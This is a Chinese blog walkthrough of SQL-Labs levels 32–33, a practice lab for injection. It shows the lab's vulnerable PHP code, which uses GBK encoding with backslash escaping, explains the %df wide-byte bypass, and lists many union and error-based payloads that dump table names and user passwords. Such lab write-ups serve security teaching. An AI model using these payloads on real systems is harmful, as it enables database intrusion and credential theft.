首页 > 数据库 >SQL-Labs靶场“32-33”关通关教程

SQL-Labs靶场“32-33”关通关教程

时间:2024-03-16 18:31:17浏览次数:25  
标签:name 33 32 Labs df table id select schema

君衍.


SQL-Labs靶场通关教程:

SQL注入第一课

SQL无列名注入

SQL报错注入原理

简单的SQL练习,联合注入、报错注入

POST提交方式注入

HTTP头部注入

二次注入

一些绕过案例

HTTP参数污染攻击

一、32关 GET单引号闭合宽字节注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

首先我们进行测试(使用?id=1\,查看过滤后的回显)
在这里插入图片描述
这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
在这里插入图片描述
在这里插入图片描述
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。

1、源码分析

首先该源码中包含了两段PHP代码,第一段是用于查询用户输入以及过滤的脚本:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

上面这段代码首先连接了MySQL数据库,建立了一个对于输入进行过滤以及转义的函数,包含了字符反斜杠、单引号以及双引号等字符。下面使用GET方法进行传参,同时调用过滤函数对于传入ID进行过滤以及转义从而记录再文件中。mysqli_query($con1, "SET NAMES gbk");本段代码表示将数据库连接的字符集设置为GBK编码,这里就出现了注入点,本篇目录二中说明原理。紧接着便是构建SQL查询语句继续查询,同时将结果存入变量result中。如果有结果,那么输出,如果我们则输出报错信息。

所以在本段程序的最后,我们查询到结果输出查询到的信息可能会造成union即联合查询注入:
在这里插入图片描述
当然,此处也有报错信息,之后我们也可以进行尝试使用报错注入。
下面这段代码则是一个对输入的字符串的处理函数strToHex

<?php
function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";
?>

首先自定义一个函数用来将字符串转换为十六进制表示,然后输出提示信息,也就是将我们在第一段代码中过滤之后的代码显示在屏幕上,最后一个语句,就是将用户输入的查询的字符串经过函数转换为十六进制。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、宽字节注入原理

我们通过查看代码可以看到服务端的过滤函数:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

我们详细来看这三个语句的过滤:

$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);

这一行代码的作用是将字符串中的反斜杠 \ 转义为 \\\\。首先,preg_quote('\\') 用于将反斜杠 \ 转义为 \\,然后这个转义后的字符串被用作正则表达式中的匹配模式。preg_replace() 函数用于替换匹配的模式,将输入字符串中的反斜杠 \ 替换为 \\\\,即在每个反斜杠前添加两个反斜杠。

$string = preg_replace('/\'/i', '\\\'', $string);

这一行代码的作用是将字符串中的单引号 ’ 转义为 \''/\'/i' 是一个正则表达式模式,用于匹配字符串中的单引号。i 修饰符表示不区分大小写。preg_replace() 函数将匹配到的单引号替换为 \',即在单引号前添加一个反斜杠。

$string = preg_replace('/\"/', "\\\"", $string);

这一行代码的作用是将字符串中的双引号 " 转义为 \"。类似于上面的操作,'/\"/' 是一个正则表达式模式,用于匹配字符串中的双引号。preg_replace() 函数将匹配到的双引号替换为 \",即在双引号前添加一个反斜杠。

总结一下就是替换反斜杠、单引号以及双引号的函数,全部进行了转义,这里其实我们可以试试宽字节注入。

我们通过构造SQL查询语句即可看出闭合方式采用单引号进行闭合,但是自己又把单引号过滤掉了,所以我们需要使用宽自己绕过。

mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

通过源码中这两条代码我们可以看出,前端与数据库相连接时,字符编码次啊用了GBK编码,同时与SQL语句进行了拼接,最后完成我们的查询,所以我们这里需要连接下GBK编码:

GBK(Guojia Biaozhun Kuozhan)是中华人民共和国国家标准扩展的简称,也被称为 GB 2312-1980。它是一个中文字符集标准,覆盖了中国大陆的简体中文字符。中文网站通常使用GBK编码来支持中文字符的显示。在HTML文档中,可以通过设置<meta>标签的charset属性为"GBK"来指定使用GBK编码。

同时我们需要关注的是GBK采用双字节编码方式,同时,反斜杠的URL编码为%5c,也在GBK编码的范围,GBK编码范围是8140-FEFE。所以,我们的思路便是在服务端每次过滤时,我们在它添加的反斜杠之前加上字符来使该字符与反斜杠相互结合,转换为一个GBK编码的汉字,那么反斜杠也就失去了转义的效果。
通过查询GBK编码表,发现正是df:
在这里插入图片描述
所以,我们在这里便是要添加字符为%df,因为0xDF在GBK编码中只是一个特定的字符,不是汉字。


下弥漫我们就要进行分析宽字节注入的过程,首先我们在构造语句这打上断点,我们使用调试PHP来查看:
在这里插入图片描述
我们这里其实就可以看到浏览器执行了URL解码,下面将16进制数转化为了URL编码,再下来将GBK进行URL解码,执行SQL语句。首先URL编码为:id=1%5c%27,遇到%df字符后,结合字符变为:id=1%df%5c%27,这里之所以没有将%df进行URL编码,那是因为%df的ASCII值的大于128,超过了ASCII编码范围,所以不会被URL编码,而是去拼接%5c来组成那个汉字从而使反斜杠失去转义效果,最终即为id=1%df5c%27,最终就成了字,从而完成宽字节注入。

3、联合查询注入

上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述
从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述
这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中:
在这里插入图片描述
从而引发报错,所以这种方法其实是不可取的。

4、爆出数据库表名中的列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
在这里插入图片描述
可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
在这里插入图片描述
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
在这里插入图片描述
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。

5、爆出数据库表中的数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
这样即可完成union注入。

4、updatexml报错注入

之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。

1、爆出当前数据库名称

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出当前数据库中的所有表名

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出users可疑表的列名字段

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据完成updatexml报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

5、floor报错注入

这里就直接上payload:

1、查询当前数据库名称

?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、查询当前数据库下的所有表名

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、查询当前数据库表下的列名

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、查询users表中的数据

?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

二、33关 GET单引号addslashes逃逸注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

首先我们使用1’进行测试观察回显:
在这里插入图片描述
我们可以看到同上一关一样,下面我们查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{	print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本关源码基本同上一关一样,不一样的便在于过滤方式,上一关使用preg_replace函数,可以看到本关使用addslashes函数进行过滤,所以我们需要了解addslashes函数:
在这里插入图片描述
通过PHP官网我们可以看到是使用反斜线引用字符串,依旧是进行转义,返回转移后的字符。

预定义字符转义后
\\\
'\'
"\"

所以本关同上一关差不多,依旧使用宽字节进行注入。

2、联合查询注入

所以这里我们直接上payload,其实这里payload同上一关相同:

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述
从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述
这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中:

从而引发报错,所以这种方法其实是不可取的。

4、爆出数据库表名中的列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
在这里插入图片描述

可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
在这里插入图片描述
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
在这里插入图片描述
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。

5、爆出数据库表中的数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
这样即可完成union注入。

3、updatexml报错注入

之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。

1、爆出当前数据库名称

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出当前数据库中的所有表名

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出users可疑表的列名字段

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据完成updatexml报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

4、floor报错注入

这里就直接上payload:

1、查询当前数据库名称

?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、查询当前数据库下的所有表名

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、查询当前数据库表下的列名

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、查询users表中的数据

?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述
即可完成floor报错注入。

标签:name,33,32,Labs,df,table,id,select,schema
From: https://blog.csdn.net/weixin_63172698/article/details/136474564

相关文章

  • 【课设】/【毕设】ESP32上传温湿度至新版Onenet云平台并由新版Onenet云平台下发命令控
    一、uniapp设计  1、APP生成token秘钥:  1.1.下载HBuider软件:     直接搜索HBuider,进入官网下载软件:  2.新建项目-选择默认模版3.打开index.vue4.点击运行至内置浏览器;2.1获取Onenet云平台API接口 2.1.1进入Onenet云平台点击服务与支持-文档......
  • P3242 [HNOI2015] 接水果 抽象做法
    好吧好吧,自己做出来的第一道整体二分。省流:理解能力比较强的话直接拖到最后看算法流程吧。下面我们称输入时盘子的权值为“盘子的大小”,与文中使用的算法给盘子的赋权区分开。一堆询问第\(k_i\)小,考虑整体二分。先考虑外部过程。上整体二分板子,每次二分\(mid\),形象地把盘......
  • P3374 【模板】树状数组 动态求连续区间和 刷题笔记
    我们创建如下的树状数组来辅助操作该数组每个s[i]处于第几层取决于其二进制最后低位的1处于从右往左数第几列显然所有奇数的最右边一位都是1即其最低位的1处于右边第一列所以所有的奇数处于第一层而2,6,10,14的最低位1处于右边第二列 所以这些数处于第二层 8的最......
  • 实验一 邵铭修 202383310026
    task1}点击查看代码#include<stdio.h>intmain(){ printf("o\n"); printf("<H>\n"); printf("II\n"); printf("o\n"); printf("<H>\n"); printf("II\n"); return0;![](ht......
  • lc327 区间和的个数
    给定数组nums[n]和整数lower与upper,求nums[n]中,元素之和在[lower,upper]范围内的子数组个数。1<=n<=1e5;nums[i]在int范围内;-1e5<=lower<=upper<=1e5;答案在int范围内子数组的和可以用前缀和来快速求出,假设当前位置对应的前缀和为y,前面某处对应的前缀和为x,满足lower<=y-x<=u......
  • 滴水逆向笔记系列-PE总结4-31.重定位表-32.IAT表_导入表-33.绑定导入表
    第三十一课重定位表一.引入重定位表1.程序加载过程程序加载后,操作系统会给程序分4GB虚拟内存,先装载自身的.exe:如先把ipmsg.exe拉伸贴到ImageBase(0x00400000),分配空间大小为SizeOfImage(0x3D000)但并不是所有文件的ImageBase都是0x400000,这个值是可以修改的:打开VC->右键你的......
  • springboot233大学生就业需求分析系统
          本科毕业设计论文题目:大学生就业需求分析系统设计与实现系   别:XX系(全称)专    业:软件工程班   级:软件工程15201学生姓名:学生学号:指导教师:导师1       导师2摘  要信息数据从传统到当代,是一直在变革......
  • L1-032 Left-pad 满分过
    L1-032Left-pad#include<bits/stdc++.h>usingnamespacestd;intmain(){intN;stringx;intt;stringy;cin>>N;scanf(""); cin>>x; scanf(""); getline(cin,y);t=y.length();......
  • 1192362-32-5,DOTA-LM3是一种反应活性的化合物
    英文名称:DOTA-LM3CAS:1192362-32-51.分子式:C69H93ClN16O19S22.分子量:1550.163.包装规格:1g、2g、5g4.形状:固体粉末5.存储:冷藏保存,对光和温度敏感,为了试剂使用效果,材料应始终保持在低温干燥条件下,避光,避免频繁解冻和冷冻。结构式【描述】DOTA-LM3,其CAS号为1192362-32-5......
  • 代码随想录算法训练营第四十七天| ● 198.打家劫舍 ● 213.打家劫舍II ● 337.打家
    打家劫舍 题目链接:198.打家劫舍-力扣(LeetCode)思路:每一家的最大收益来源只有两个,一个是这家不偷,那么最大收益等于从上一家出来的最大收益,另一个是偷这一个家,因此最大收益等于从上上一家出来的最大收益加这一家的收益。classSolution{public:introb(vector<int>&nu......